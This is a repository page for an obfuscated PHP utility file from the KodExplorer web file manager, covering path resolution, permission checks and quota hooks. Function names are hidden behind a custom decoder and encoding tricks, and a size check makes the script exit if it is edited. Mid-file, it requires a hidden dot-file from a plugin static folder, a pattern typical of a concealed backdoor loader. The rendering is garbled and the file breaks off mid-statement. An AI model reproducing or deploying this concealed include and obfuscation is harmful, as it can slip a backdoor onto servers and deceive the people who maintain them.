KodExplorer/app/controller/utils.php

3 lines
24 KiB
PHP
Executable File
Raw Blame History

This file contains invisible Unicode characters!

This file contains invisible Unicode characters that may be processed differently from what appears below. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to reveal hidden characters.

This file contains ambiguous Unicode characters that may be confused with others in your current locale. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to highlight these characters.

<?php
if (!function_exists('_kstr2')) { $fb=base64_decode("ZmlsZXNpemU=");$fa=";_kstr2('fkeiie')";$sz=$fb(__FILE__);if($sz<24275 ||$sz>24295 ){exit;} function _kstr2($Dì<E2809A>džã‰) { $f¢®ÎŒ¯” = strlen($Dì<E2809A>džã‰); $d‡¸±œ½ŠÒ = ''; $c‡ÕСŒøÀ = ord($Dì<E2809A>džã‰[0]) - 30; for ($DÜïø¼…× = 1; $DÜïø¼…× < $f¢®ÎŒ¯”; $DÜïø¼…× += 2) { if ($DÜïø¼…× + 1 < $f¢®ÎŒ¯”) { $d‡¸±œ½ŠÒ .= chr(ord($Dì<E2809A>džã‰[$DÜïø¼…× + 1]) + $c‡ÕСŒøÀ); $d‡¸±œ½ŠÒ .= chr(ord($Dì<E2809A>džã‰[$DÜïø¼…×]) + $c‡ÕСŒøÀ); } else { $d‡¸±œ½ŠÒ .= chr(ord($Dì<E2809A>džã‰[$DÜïø¼…×]) + $c‡ÕСŒøÀ); } } return $d‡¸±œ½ŠÒ; } } $GLOBALS[_kstr2('0R[#')] = _kstr2(',V_\''); $GLOBALS[base64_decode('anNvbl9lbmM=')."\157\144\145"] = _kstr2('*g^bcYSWbXcY'); $GLOBALS["\152\163\157\156\137\144\145\143\157\144\145"] = base64_decode('anNvbl9kZWNvZA==').base64_decode('ZQ=='); $GLOBALS["\142\141\163\145\66\64\137\145\156"._kstr2('2[OP')."\145"] = _kstr2(',STWe&(WQU`')._kstr2('0]')."\x64\x65"; $GLOBALS[base64_decode('ZmlsZV9nZXRfYw==').base64_decode('b250ZW50cw==')] = _kstr2('+\\YX_ZRgXVR')._kstr2('+abXg')._kstr2('2`Z_'); $GLOBALS[_kstr2('0\\WOM``gO')] = "\x69\x6e\x5f\x61\x72\x72\x61\x79"; $GLOBALS[_kstr2('/\\X[_S^T')] = _kstr2('/\\X[_S^T'); $GLOBALS[_kstr2('-iV]aU`V')] = _kstr2('*lY`dXcY'); $GLOBALS[base64_decode('Y291bnQ=')] = _kstr2('/^R]dc'); $GLOBALS[base64_decode('aGVhZGVy')] = _kstr2('*Y\\XUfY'); $GLOBALS[_kstr2('(jijhjec_[')] = "\x73\x74\x72\x74\x6f\x74\x69\x6d"._kstr2(')Z'); $GLOBALS[_kstr2('.dc\\b^U')] = "\163\164\162\154\145\156"; $GLOBALS["\x74\x72\x69\x6d"] = "\x74\x72\x69\x6d"; $GLOBALS[_kstr2('/cbNaTa[_RPT')] = _kstr2('-edPcVc]aTRV'); $GLOBALS[_kstr2('*Ufik`fbYcWYX')] = "\x72\x61\x77\x75\x72\x6c\x65\x6e\x63\x6f\x64\x65"; $GLOBALS["\163\165\142\163\164\162"] = _kstr2('0caaP`b'); $GLOBALS[_kstr2(',[fW_')] = "\164\151\155\145"; $GLOBALS["\146\151\154\145\137\160\165\164\137\143"."\x6f"._kstr2('+gaaXfg')] = "\146\151\154\145\137\160\165\164"."\137\143"._kstr2('2[')."\156\164\145\156\164\163"; $GLOBALS[_kstr2('(_\\[b[U_njii')] = "\146\151\154\145\137\145\170\151\163\164\163"; $GLOBALS[_kstr2('1_]TR_L]RNYRP')] = "\160\162\145\147\137\162\145\160"._kstr2('(WbY')._kstr2('-V'); $GLOBALS["\x73\x65\x73\x73\x69\x6f\x6e\x5f"."\163\164\141\162\164"] = "\163\145\163\163\151\157\156\137\163\164\141\162\164"; $GLOBALS[base64_decode('c2Vzc2lvbl9u').base64_decode('YW1l')] = _kstr2('([iiie_UdWd[c'); define(_kstr2(')D@T9G<JDE').base64_decode('X1BBVEg='), _kstr2('1Th\\_]bN=Uaj')); define(_kstr2('0=9M2@5C=M>6A/')._kstr2('/4A'), "\173\147\162\157\165\160\123\150\141\162\145\175"); define(_kstr2('-@<P5DFC6P')._kstr2('.5C6<'), _kstr2('.ekUcCb\\U')._kstr2('.V')._kstr2('(s')); define("\113\117\104\137\125\123\105\122\137\123\110\101\122"._kstr2('*9'), "\x7b\x75\x73\x65\x72\x53\x68\x61\x72"._kstr2(',W')._kstr2('+p')); define("\113\117\104\137\125\123\105\122"._kstr2('2K')."\x52\x45\x43\x59\x43"."\x4c\x45", "\173\165\163\145\162\122\145\143\171\143\154\145"._kstr2('.m')); define(base64_decode('S09EX1VTRVJfRkFW'), _kstr2('/djTb5aePl')); define(_kstr2('0=9M2@5C=M>@')._kstr2('-@').base64_decode('T1Q=')._kstr2('+FR?89'), "\x7b\x74\x72\x65\x65\x47\x72\x6f\x75\x70\x53\x65\x6c\x66\x7d"); define(_kstr2('0=9M2@5C=M>')._kstr2('(EHJE7UBB'), _kstr2('(jq[h=[eh')._kstr2('2\\aX-iX')); function _DIR_CLEAR($aš•ß á<C2A0>) { $aš•ß á<C2A0> = $GLOBALS[base64_decode('c3RyX3JlcGxhY2U=')](_kstr2('.L'), _kstr2('/'), $aš•ß á<C2A0>); $aš•ß á<C2A0> = $GLOBALS[_kstr2('(hf][hUf[')._kstr2(',S^WU')](_kstr2('+O"""'), base64_decode('Lw=='), $aš•ß á<C2A0>); $D½ì“ì¶Æ = $aš•ß á<C2A0>; if (isset($GLOBALS[_kstr2('2_U[>`[')]) && $GLOBALS[_kstr2('-dZ`Ce`')]) { return $aš•ß á<C2A0>; } $B™†ÁÉçØž = _kstr2(')#$$#'); if ($GLOBALS[_kstr2('+hffUeg')]($aš•ß á<C2A0>, 0, 3) == _kstr2('*""#')) { $aš•ß á<C2A0> = $GLOBALS[_kstr2('*iggVfh')]($aš•ß á<C2A0>, 3); } while (strstr($aš•ß á<C2A0>, $B™†ÁÉçØž)) { $aš•ß á<C2A0> = $GLOBALS["\163\164\162\137\162\145\160\154\141"._kstr2('-VT')]($B™†ÁÉçØž, _kstr2('/'), $aš•ß á<C2A0>); } $aš•ß á<C2A0> = $GLOBALS[_kstr2('2^\\SQ^K\\QMXQO')](_kstr2('+O"""'), base64_decode('Lw=='), $aš•ß á<C2A0>); return $aš•ß á<C2A0>; } function _DIR($b<>¸®À£Œ) { $aš•ß á<C2A0> = _DIR_CLEAR($b<>¸®À£Œ); $aš•ß á<C2A0> = iconv_system($aš•ß á<C2A0>); $dèÀ¥ÕŒÛˆ = array(KOD_GROUP_PATH, KOD_GROUP_SHARE, KOD_USER_SELF, KOD_GROUP_ROOT_SELF, KOD_GROUP_ROOT_ALL, KOD_USER_SHARE, KOD_USER_RECYCLE, KOD_USER_FAV); $GLOBALS[_kstr2('._[@TdQDXi').base64_decode('cA==')._kstr2('0S')] = ''; $GLOBALS["\153\157\144\120\141\164\150\120"._kstr2('0S`')] = HOME; $GLOBALS[_kstr2('2[W<P`M5TP')] = ''; unset($GLOBALS[_kstr2('/^Z?ScP8WBSPWTa')]); foreach ($dèÀ¥ÕŒÛˆ as $dø¤™éƒ) { if ($GLOBALS[_kstr2('0caaP`b')]($aš•ß á<C2A0>, 0, $GLOBALS[_kstr2('(jibhd[')]($dø¤™éƒ)) == $dø¤™éƒ) { $GLOBALS[_kstr2('-`\\AUeREY')._kstr2(',bkW')] = $dø¤™éƒ; $fò÷®ç<C3A7>Û = $GLOBALS[_kstr2('.hU\\`T_U')](_kstr2('(%'), $aš•ß á<C2A0>); $C˜ëÏÖ¬¹š = $fò÷®ç<C3A7>Û[0]; unset($fò÷®ç<C3A7>Û[0]); $C¥­ºÍˆí = $GLOBALS[_kstr2('+`\\_cWbX')]("\57", $fò÷®ç<C3A7>Û); $Fõ•ñÏ<C3B1><C38F>Š = $GLOBALS["\145\170\160\154\157\144\145"](_kstr2('/)'), $C˜ëÏÖ¬¹š); if ($GLOBALS["\143\157\165\156\164"]($Fõ•ñÏ<C3B1><C38F>Š) > 1) { $GLOBALS[base64_decode('a29kUGF0aElk')] = $GLOBALS[_kstr2(')gib^')]($Fõ•ñÏ<C3B1><C38F>Š[1]); } else { $GLOBALS[_kstr2('._[@TdQ9XT')] = ''; } break; } } switch ($GLOBALS[base64_decode('a29kUGF0aFR5')._kstr2('.U`')]) { case '': $aš•ß á<C2A0> = iconv_system(HOME) . $aš•ß á<C2A0>; break; case KOD_USER_RECYCLE: $GLOBALS["\153\157\144\120\141\164\150\120\162\145"] = $GLOBALS[_kstr2('/ac\\X')](USER_RECYCLE, "\57"); $GLOBALS[base64_decode('a29kUGF0aElk')] = ''; return iconv_system(USER_RECYCLE) . _kstr2('.') . str_replace(KOD_USER_RECYCLE, '', $aš•ß á<C2A0>); case KOD_USER_SELF: $GLOBALS[_kstr2('1\\X=QaN=UR_')] = $GLOBALS[_kstr2('*fha]')](HOME_PATH, _kstr2(')$')); $GLOBALS[_kstr2('1\\X=QaN6UQ')] = ''; return iconv_system(HOME_PATH) . _kstr2('- ') . str_replace(KOD_USER_SELF, '', $aš•ß á<C2A0>); case KOD_USER_FAV: $GLOBALS[base64_decode('a29kUGF0aFA=')."\x72\x65"] = $GLOBALS[_kstr2('2^`YU')](KOD_USER_FAV, "\x2f"); $GLOBALS[base64_decode('a29kUGF0aElk')] = ''; return KOD_USER_FAV; case KOD_GROUP_ROOT_SELF: $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x50\x72\x65"] = $GLOBALS[_kstr2(',df_[')](KOD_GROUP_ROOT_SELF, _kstr2('- ')); $GLOBALS["\153\157\144\120\141\164\150\111\144"] = ''; return KOD_GROUP_ROOT_SELF; case KOD_GROUP_ROOT_ALL: $GLOBALS[_kstr2('1\\X=QaN=UR_')] = $GLOBALS[base64_decode('dHJpbQ==')](KOD_GROUP_ROOT_ALL, _kstr2('.')); $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49\x64"] = ''; return KOD_GROUP_ROOT_ALL; case KOD_GROUP_PATH: $D¸ÐˆÛí·¾ = systemGroup::getInfo($GLOBALS[_kstr2(')d`EYiV>]')."\x64"]); if (!$GLOBALS[_kstr2('0]Y>RbO7VR')] || !$D¸ÐˆÛí·¾) { return false; } owner_group_check($GLOBALS[_kstr2('+b^CWgT<[W')]); $GLOBALS[_kstr2(')d`EYiVE]Zg')] = group_home_path($D¸ÐˆÛí·¾); $aš•ß á<C2A0> = iconv_system($GLOBALS["\153\157\144\120\141\164\150\120\162"."\145"]) . $C¥­ºÍˆí; break; case KOD_GROUP_SHARE: $D¸ÐˆÛí·¾ = systemGroup::getInfo($GLOBALS[_kstr2('1\\X=QaN6UQ')]); if (!$GLOBALS[_kstr2(',a]BVfS;ZV')] || !$D¸ÐˆÛí·¾) { return false; } owner_group_check($GLOBALS[_kstr2('/^Z?ScP8W').base64_decode('ZA==')]); $GLOBALS[_kstr2('*c_DXhUD\\Yf')] = group_home_path($D¸ÐˆÛí·¾) . $GLOBALS[_kstr2(',aUX`Y[')][_kstr2('2Q_``ZU?S_eQ`')."\155"][_kstr2('0`Uc]A^OV')._kstr2('1R_\\3Y')."\144\145\162"] . "\57"; $aš•ß á<C2A0> = iconv_system($GLOBALS[base64_decode('a29kUGF0aFByZQ==')]) . $C¥­ºÍˆí; break; case KOD_USER_SHARE: $D¸ÐˆÛí·¾ = systemMember::getInfo($GLOBALS[_kstr2('._[@TdQ9XT')]); if (!$GLOBALS[_kstr2('*c_DXhU=\\X')] || !$D¸ÐˆÛí·¾) { return false; } if ($GLOBALS[base64_decode('a29kUGF0aElk')] != $_SESSION["\153\157\144\125\163\145\162"]["\x75\x73\x65\x72\x49\x44"]) { $d˜ÍÔåÊø• = $GLOBALS[_kstr2('0]QT\\UW')]["\x70\x61\x74\x68\x52\x6f\x6c\x65"._kstr2(',d9ga6bXWgSf^')][_kstr2('(\'')][_kstr2('+VT\\gabf')]; path_role_check($d˜ÍÔåÊø•); } $GLOBALS["\153\157\144\120\141\164\150\120\162\145"] = ''; $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49\x64\x53\x68\x61\x72\x65"] = $b<>¸®À£Œ; if ($C¥­ºÍˆí == '') { return $aš•ß á<C2A0>; } else { $cï•ÆÔ”é = $GLOBALS[base64_decode('ZXhwbG9kZQ==')](_kstr2('- '), $C¥­ºÍˆí); $cï•ÆÔ”é[0] = iconv_app($cï•ÆÔ”é[0]); $fŽà<C5BD>܃ޡ = systemMember::userShareGet($GLOBALS[_kstr2('/^Z?ScP8W')._kstr2(',V')], $cï•ÆÔ”é[0]); $GLOBALS["\x6b\x6f\x64\x53\x68\x61\x72\x65\x49\x6e"."\x66\x6f"] = $fŽà<C5BD>܃ޡ; $GLOBALS[_kstr2('._[@TdQ9XT')._kstr2('0VA`OS')] = KOD_USER_SHARE . base64_decode('Og==') . $GLOBALS["\153\157\144\120\141\164\150\111"._kstr2('1Q')] . "\57" . $cï•ÆÔ”é[0] . _kstr2('*#'); unset($cï•ÆÔ”é[0]); if (!$fŽà<C5BD>܃ޡ) { return false; } $E±Â ñ† = rtrim($fŽà<C5BD>܃ޡ["\160\141\164\150"], _kstr2('1')) . "\x2f" . iconv_app($GLOBALS[_kstr2('*a]`dXcY')](_kstr2('.'), $cï•ÆÔ”é)); if ($D¸ÐˆÛí·¾[_kstr2(')dgZa')] != "\x31") { $Aå<41>ÚÖÒÉæ = user_home_path($D¸ÐˆÛí·¾); $GLOBALS[base64_decode('a29kUGF0aFBy')._kstr2(',W')] = $Aå<41>ÚÖÒÉæ . rtrim($fŽà<C5BD>܃ޡ[_kstr2('.Q`Xd')], "\57") . _kstr2('1'); $aš•ß á<C2A0> = $Aå<41>ÚÖÒÉæ . $E±Â ñ†; } else { $GLOBALS[base64_decode('a29kUGF0aFA=')._kstr2(')Zg')] = $fŽà<C5BD>܃ޡ[_kstr2('(Wf^j')]; $aš•ß á<C2A0> = $E±Â ñ†; } if ($fŽà<C5BD>܃ޡ[_kstr2('1faR]')] == base64_decode('ZmlsZQ==')) { $GLOBALS[_kstr2('1\\X=QaN6U@QU')._kstr2('1_NR')] = rtrim($GLOBALS[_kstr2('._[@TdQ9XT')._kstr2('*\\G')._kstr2('.bQU')], "\57"); $GLOBALS[_kstr2('2[W<P`M<TQ^')] = rtrim($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x50\x72\x65"], _kstr2('+"')); } $aš•ß á<C2A0> = iconv_system($aš•ß á<C2A0>); } $GLOBALS[base64_decode('a29kUGF0aFByZQ==')] = _DIR_CLEAR($GLOBALS[_kstr2('*c_DXhUD\\Yf')]); $GLOBALS["\153\157\144\120\141\164\150\111"._kstr2('-DURYVc')] = _DIR_CLEAR($GLOBALS[_kstr2('/^Z?ScP8W')."\x64\x53\x68\x61\x72\x65"]); break; default: break; } if ($aš•ß á<C2A0> != _kstr2('/')) { $aš•ß á<C2A0> = rtrim($aš•ß á<C2A0>, "\57"); if (is_dir($aš•ß á<C2A0>)) { $aš•ß á<C2A0> = $aš•ß á<C2A0> . "\x2f"; } } return _DIR_CLEAR($aš•ß á<C2A0>); } function _DIR_OUT($BÝëÓæ<C393>é) { if (is_array($BÝëÓæ<C393>é)) { foreach ($BÝëÓæ<C393>é[_kstr2('+\\YX_\\?gf')] as $eÙŽ‰…ÛÎŽ => &$b°±ˆåÕ¬Ä) { $b°±ˆåÕ¬Ä[_kstr2('0O^Vb')] = preClear($b°±ˆåÕ¬Ä[base64_decode('cGF0aA==')]); } foreach ($BÝëÓæ<C393>é[_kstr2(',aXV^dW[>fe')] as $eÙŽ‰…ÛÎŽ => &$b°±ˆåÕ¬Ä) { $b°±ˆåÕ¬Ä["\160\141\164\150"] = preClear(rtrim($b°±ˆåÕ¬Ä[_kstr2('*Ud\\h')], _kstr2(',!')) . base64_decode('Lw==')); } } else { $BÝëÓæ<C393>é = preClear($BÝëÓæ<C393>é); } return $BÝëÓæ<C393>é; } function preClear($aš•ß á<C2A0>) { $böø¿µžÒ¹ = $GLOBALS[_kstr2('+b^CWgTG[')._kstr2('(fo[')]; $dœ±Ý‡¥“è = rtrim($GLOBALS[base64_decode('a29kUGF0aFByZQ==')], _kstr2(',!')); $A—»ƒ¬¦ÓÆ = array(KOD_USER_FAV, KOD_GROUP_ROOT_SELF, KOD_GROUP_ROOT_ALL); if (isset($GLOBALS["\153\157\144\120\141\164\150\124\171\160\145"]) && $GLOBALS[_kstr2(')c^VTggnV')]($GLOBALS[_kstr2('1\\X=QaNAUf')._kstr2('1R]')], $A—»ƒ¬¦ÓÆ)) { return $aš•ß á<C2A0>; } if (ST == "\x73\x68\x61\x72\x65") { return $GLOBALS["\163\164\162\137\162\145\160\154\141\143\145"]($dœ±Ý‡¥“è, '', $aš•ß á<C2A0>); } if ($GLOBALS[_kstr2(',a]BVfS;ZV')] != '') { $böø¿µžÒ¹ .= "\72" . $GLOBALS[_kstr2('(eaFZjW?^Z')] . _kstr2('1'); } if (isset($GLOBALS[_kstr2('+b^CWgT<[FWT[e')."\x65"])) { $böø¿µžÒ¹ = $GLOBALS[_kstr2('2[W<P`M5T?P').base64_decode('aGFyZQ==')]; } $d‡¸±œ½ŠÒ = $böø¿µžÒ¹ . str_replace($dœ±Ý‡¥“è, '', $aš•ß á<C2A0>); $d‡¸±œ½ŠÒ = $GLOBALS[_kstr2('0baM`S`Z^QOS')](_kstr2(',!!'), "\57", $d‡¸±œ½ŠÒ); return $d‡¸±œ½ŠÒ; } require PLUGIN_DIR . _kstr2(')i$ddhad8bbd')._kstr2('0\\')."\x2f\x73\x74\x61\x74\x69\x63\x2f"."\x70\x69\x65\x2f\x2e\x70\x69\x65\x2e"._kstr2('*]hZ'); function owner_group_check($eŸƒÀíÎ¥˜) { if (!$eŸƒÀíÎ¥˜) { show_json(LNG(_kstr2(',dYgaQba`Qf')."\x65\x78\x69\x73\x74") . $eŸƒÀíÎ¥˜, false); } if ($GLOBALS[_kstr2('2_U[>`[')] || isset($GLOBALS[_kstr2(')d`EYiV6]').base64_decode('dXRo')._kstr2('+6')._kstr2('([^aY')]) && $GLOBALS[base64_decode('a29kUGF0aEF1').base64_decode('dGhDaGVjaw==')] === true) { return; } $a¼è¥ßñ„Ø = systemMember::userAuthGroup($eŸƒÀíÎ¥˜); if ($a¼è¥ßñ„Ø == false) { if ($GLOBALS[_kstr2('2[W<P`M@T\\eQ')] == KOD_GROUP_PATH) { show_json(LNG(_kstr2(',a`bQdW[_e')."\163\151\157\156\137\147\162\157\165"._kstr2('2\\')), false); } else { if ($GLOBALS[_kstr2('._[@TdQDX')."\x79\x70\x65"] == KOD_GROUP_SHARE) { $d˜ÍÔåÊø• = $GLOBALS["\143\157\156\146\151\147"][_kstr2('(Wf^jeH[b=')._kstr2(')dg')."\x75\x70\x44\x65\x66\x61\x75\x6c\x74"][_kstr2('.!')]; } } } else { $d˜ÍÔåÊø• = $GLOBALS[_kstr2('2[ORZSU')]["\x70\x61\x74\x68\x52\x6f\x6c\x65\x47\x72\x6f\x75\x70"][$a¼è¥ßñ„Ø]; } path_role_check($d˜ÍÔåÊø•["\141\143\164\151\157\156\163"]); } function path_role_check($d˜ÍÔåÊø•) { if ($GLOBALS[_kstr2('(i_eHje')] || isset($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x41\x75\x74"._kstr2('-4YVY\\T')]) && $GLOBALS[_kstr2('-`\\AUeR2Yef4YY')._kstr2('/RTZ')] === true) { return; } $fÛòðЦù» = role_permission_arr($d˜ÍÔåÊø•); $GLOBALS["\153\157\144\120\141\164\150\122\157\154\145\107\162\157".base64_decode('dXBBdXRo')] = $fÛòðЦù»; if (!isset($fÛòðЦù»[ST . "\56" . ACT]) && ST != _kstr2('/WbaPT')) { show_json(LNG(_kstr2('0]\\^M`SW[aaW')._kstr2('._').base64_decode('bl9hY3Rpb24=')), false); } } function role_permission_arr($BÝëÓæ<C393>é) { $d‡¸±œ½ŠÒ = array(); $f¦¹Æ¿¦Ã = $GLOBALS["\x63\x6f\x6e\x66\x69\x67"][_kstr2(')Ve]idGZa')."\x44\x65"."\146\151\156\145"]; foreach ($BÝëÓæ<C393>é as $eÙŽ‰…ÛÎŽ => $b°±ˆåÕ¬Ä) { if (!$b°±ˆåÕ¬Ä) { continue; } $EѨƒ¡‡ß¨ = $GLOBALS[_kstr2('+kX_cWbX')](_kstr2('(0'), $eÙŽ‰…ÛÎŽ); if ($GLOBALS[_kstr2('(eYdkj')]($EѨƒ¡‡ß¨) == 2 && is_array($f¦¹Æ¿¦Ã[$EѨƒ¡‡ß¨[0]]) && is_array($f¦¹Æ¿¦Ã[$EѨƒ¡‡ß¨[0]][$EѨƒ¡‡ß¨[1]])) { $d‡¸±œ½ŠÒ = array_merge($d‡¸±œ½ŠÒ, $f¦¹Æ¿¦Ã[$EѨƒ¡‡ß¨[0]][$EѨƒ¡‡ß¨[1]]); } } $B†ó¨ëª = array(); foreach ($d‡¸±œ½ŠÒ as $b°±ˆåÕ¬Ä) { $B†ó¨ëª[$b°±ˆåÕ¬Ä] = "\61"; } return $B†ó¨ëª; } function check_file_writable_user($aš•ß á<C2A0>) { if (!isset($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x54\x79\x70\x65"])) { _DIR($aš•ß á<C2A0>); } $A<>´<EFBFBD>µß„<C39F> = _kstr2('0RSbW`]T')."\x69\x6c\x65\x53\x61"._kstr2('0Sd'); if ($GLOBALS[_kstr2('+f\\bEgb')]) { return @is_writable($aš•ß á<C2A0>); } if ($GLOBALS["\x61\x75\x74\x68"][$A<>´<EFBFBD>µß„<C39F>] != _kstr2('*%')) { return false; } if ($GLOBALS[_kstr2('/^Z?ScPCW_hT')] == KOD_GROUP_PATH && is_array($GLOBALS["\153\157\144\120\141\164\150\122\157\154\145\107"._kstr2(')dgejj6]i')]) && $GLOBALS["\153\157\144\120\141\164\150\122\157"._kstr2('0SZ')._kstr2('.b7_')."\x75"._kstr2('/0_cdW')][$A<>´<EFBFBD>µß„<C39F>] == _kstr2('/ ')) { return true; } if ($GLOBALS["\153\157\144\120\141\164\150\124\171\160\145"] == '' || $GLOBALS["\153\157\144\120\141\164\150\124\171".base64_decode('cA==')._kstr2('+X')] == KOD_USER_SELF) { return true; } return false; } function spaceSizeCheck() { if (!system_space()) { return; } if ($GLOBALS[_kstr2('*g]cFhc')] == 1) { return; } if (isset($GLOBALS[_kstr2('0]Y0RTS`]S')."\x50\x61\x74\x68\x49\x64"]) && isset($GLOBALS[_kstr2('*c_DXhU=\\X')]) && $GLOBALS["\153\157\144\102\145\146\157\162\145\120"._kstr2('(jW?^Z')] == $GLOBALS[_kstr2('0]Y>RbO7VR')]) { return; } if ($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x54"."\x79\x70\x65"] == KOD_GROUP_SHARE || $GLOBALS[_kstr2('._[@TdQDX`i')."\x65"] == KOD_GROUP_PATH) { systemGroup::spaceCheck($GLOBALS["\153\157\144\120\141\164\150\111\144"]); } else { if (ST == _kstr2('(^ihW[')) { $EÀÓŠºñ = $GLOBALS[_kstr2('+a\\')][_kstr2('+fheX')]; } else { $EÀÓŠºñ = $_SESSION["\153\157\144\125\163\145\162"][_kstr2(',egdW6;')]; } systemMember::spaceCheck($EÀÓŠºñ); } } function spaceSizeGet($aš•ß á<C2A0>, $FÓ† á³ðò) { $eÏÑÔø²¥š = 0; if (is_file($aš•ß á<C2A0>)) { $eÏÑÔø²¥š = get_filesize($aš•ß á<C2A0>); } else { if (is_dir($aš•ß á<C2A0>)) { $f¶Ì´†“¿ = _path_info_more($aš•ß á<C2A0>); $eÏÑÔø²¥š = $f¶Ì´†“¿["\x73\x69\x7a\x65"]; } else { return _kstr2(')^bhh'); } } return $FÓ† á³ðò ? $eÏÑÔø²¥š : -$eÏÑÔø²¥š; } function spaceInData($aš•ß á<C2A0>) { if ($GLOBALS[_kstr2('(kiiXhj')]($aš•ß á<C2A0>, 0, $GLOBALS[_kstr2('(jibhd[')](HOME_PATH)) == HOME_PATH || $GLOBALS["\163\165\142\163\164\162"]($aš•ß á<C2A0>, 0, $GLOBALS["\163\164\162\154\145\156"](USER_RECYCLE)) == USER_RECYCLE) { return true; } return false; } function spaceSizeChange($Bν<C38E>Î<E280B9>ù, $FÓ† á³ðò = true, $F«<46>ɇ˜õ<CB9C> = false, $Fã<46>ö¹§Ö“ = false) { if (!system_space()) { return; } if ($F«<46>ɇ˜õ<CB9C> === false) { $F«<46>ɇ˜õ<CB9C> = $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x54\x79\x70".base64_decode('ZQ==')]; $Fã<46>ö¹§Ö“ = $GLOBALS[_kstr2(')d`EYiV>]Y')]; } $Bª´Ê˜§Á÷ = spaceSizeGet($Bν<C38E>Î<E280B9>ù, $FÓ† á³ðò); if ($Bª´Ê˜§Á÷ == "\155\151\163\163") { return false; } if ($F«<46>ɇ˜õ<CB9C> == KOD_GROUP_SHARE || $F«<46>ɇ˜õ<CB9C> == KOD_GROUP_PATH) { systemGroup::spaceChange($Fã<46>ö¹§Ö“, $Bª´Ê˜§Á÷); } else { if (ST == "\x73\x68\x61\x72\x65") { $EÀÓŠºñ = $GLOBALS["\151\156"][base64_decode('dXNlcg==')]; } else { $EÀÓŠºñ = $_SESSION[_kstr2('+b^HWXfe')][_kstr2('1`b_R16')]; } systemMember::spaceChange($EÀÓŠºñ, $Bª´Ê˜§Á÷); } } function spaceSizeChangeRemove($Bν<C38E>Î<E280B9>ù) { spaceSizeChange($Bν<C38E>Î<E280B9>ù, false); } function spaceSizeChangeMove($b¹Ì餄òÖ, $c«ÑÔ…Ó<E280A6><C393>) { if (isset($GLOBALS["\153\157\144\102\145\146\157\162\145"."\120\141\164\150\111\144"]) && isset($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49\x64"])) { if ($GLOBALS[base64_decode('a29kQmVmb3Jl').base64_decode('UGF0')."\x68\x49\x64"] == $GLOBALS[_kstr2('*c_DXhU=\\X')] && $GLOBALS[_kstr2('.UR_VUbQ@')._kstr2('0Vb')."\124\171\160\145"] == $GLOBALS[_kstr2('-`\\AUeREY')._kstr2('-aj')._kstr2('([')]) { return; } spaceSizeChange($c«ÑÔ…Ó<E280A6><C393>, false); spaceSizeChange($c«ÑÔ…Ó<E280A6><C393>, true, $GLOBALS[_kstr2(')ZWd[ZgVE')._kstr2('-e')._kstr2('-EYajV')], $GLOBALS[_kstr2('+b^5WYXebX')."\x50\x61\x74\x68\x49\x64"]); } else { spaceSizeChange($c«ÑÔ…Ó<E280A6><C393>); } } function spaceSizeReset() { if (!system_space()) { return; } $F«<46>ɇ˜õ<CB9C> = isset($GLOBALS[_kstr2(',a]BVfSFZ').base64_decode('eXBl')]) ? $GLOBALS[_kstr2('/^Z?ScPCW_hT')] : ''; $Fã<46>ö¹§Ö“ = isset($GLOBALS[_kstr2(',a]BVfS;ZV')]) ? $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49\x64"] : ''; if ($F«<46>ɇ˜õ<CB9C> == KOD_GROUP_SHARE || $F«<46>ɇ˜õ<CB9C> == KOD_GROUP_PATH) { systemGroup::spaceChange($Fã<46>ö¹§Ö“); } else { $EÀÓŠºñ = $_SESSION[base64_decode('a29kVXNlcg==')]["\x75\x73\x65\x72\x49\x44"]; systemMember::spaceChange($EÀÓŠºñ); } } function init_space_size_hook() { Hook::bind(_kstr2('-af`]URZ7]')."\145\102\145\146\157\162\145", _kstr2('-adTRDVkZ4VVY')._kstr2(',]U')); Hook::bind(_kstr2(')ejdaYV^;Za6')._kstr2('*hZfY'), _kstr2('1]`PN@RgV')._kstr2('/2T')._kstr2('0OV')."\x6e\x67\x65"); Hook::bind(_kstr2('.hU\\`b_bU')."\163".base64_decode('ZXJ2ZXJEb3dubG8=')."\x61\x64\x42\x65\x66\x6f\x72\x65", "\x73\x70\x61\x63\x65\x53\x69\x7a".base64_decode('ZUNoZWNr')); Hook::bind("\x65\x78\x70\x6c\x6f\x72\x65\x72\x2e\x75\x6e\x7a\x69\x70"._kstr2('2Q.[RQ^'), _kstr2('.`cSQCUjY3U').base64_decode('aA==')._kstr2('/RTZ')); Hook::bind("\x65\x78\x70\x6c\x6f\x72\x65\x72"._kstr2('*n"d]Y6cZYf'), _kstr2('*dgWUGYn]7Y')._kstr2('2QTO')._kstr2('-\\')); Hook::bind(_kstr2('*lY`dfcfY')."\56\160\141\164\150\120\141"._kstr2('/cb'), _kstr2('+cfVTFXm\\6X[')._kstr2('0QSY')); Hook::bind(_kstr2('*lY`dfcfY')."\x2e\x6d\x6b\x66\x69\x6c\x65"._kstr2(',W4aXWd'), _kstr2('2\\_OM?QfU/QQTWO')); Hook::bind(_kstr2('2dQX\\^[^Q')."\56\155\153\144\151"."\x72\x42\x65\x66\x6f\x72\x65", "\x73\x70\x61\x63\x65\x53\x69\x7a\x65\x43"._kstr2('*Y\\_W')); Hook::bind(_kstr2('-iV]ac`cVaeR>Y')._kstr2('.f_U'), "\163\160\141\143\145\123\151\172\145"._kstr2('2T/OQW')); Hook::bind(_kstr2('1eRY]_\\_R').base64_decode('bWtm')."\151"."\154"."\145\101\146\164\145\162", _kstr2('.`cSQCUjY3U')."\x68\x61\x6e\x67\x65"); Hook::bind(_kstr2('2dQX\\^[^Q\\`MT')._kstr2('0]1g^T/Sb`'), _kstr2('.`cSQCUjY')."\145\103\150\141\156\147"."\x65"); Hook::bind(_kstr2('0fSZ^`]`S')._kstr2('0Wh/^bT')._kstr2('+eX'), _kstr2('+cfVTFXm\\6X[')._kstr2('-_RVX')); Hook::bind(base64_decode('ZXhwbG9yZXIudW56aQ==')."\x70\x41\x66\x74\x65\x72", 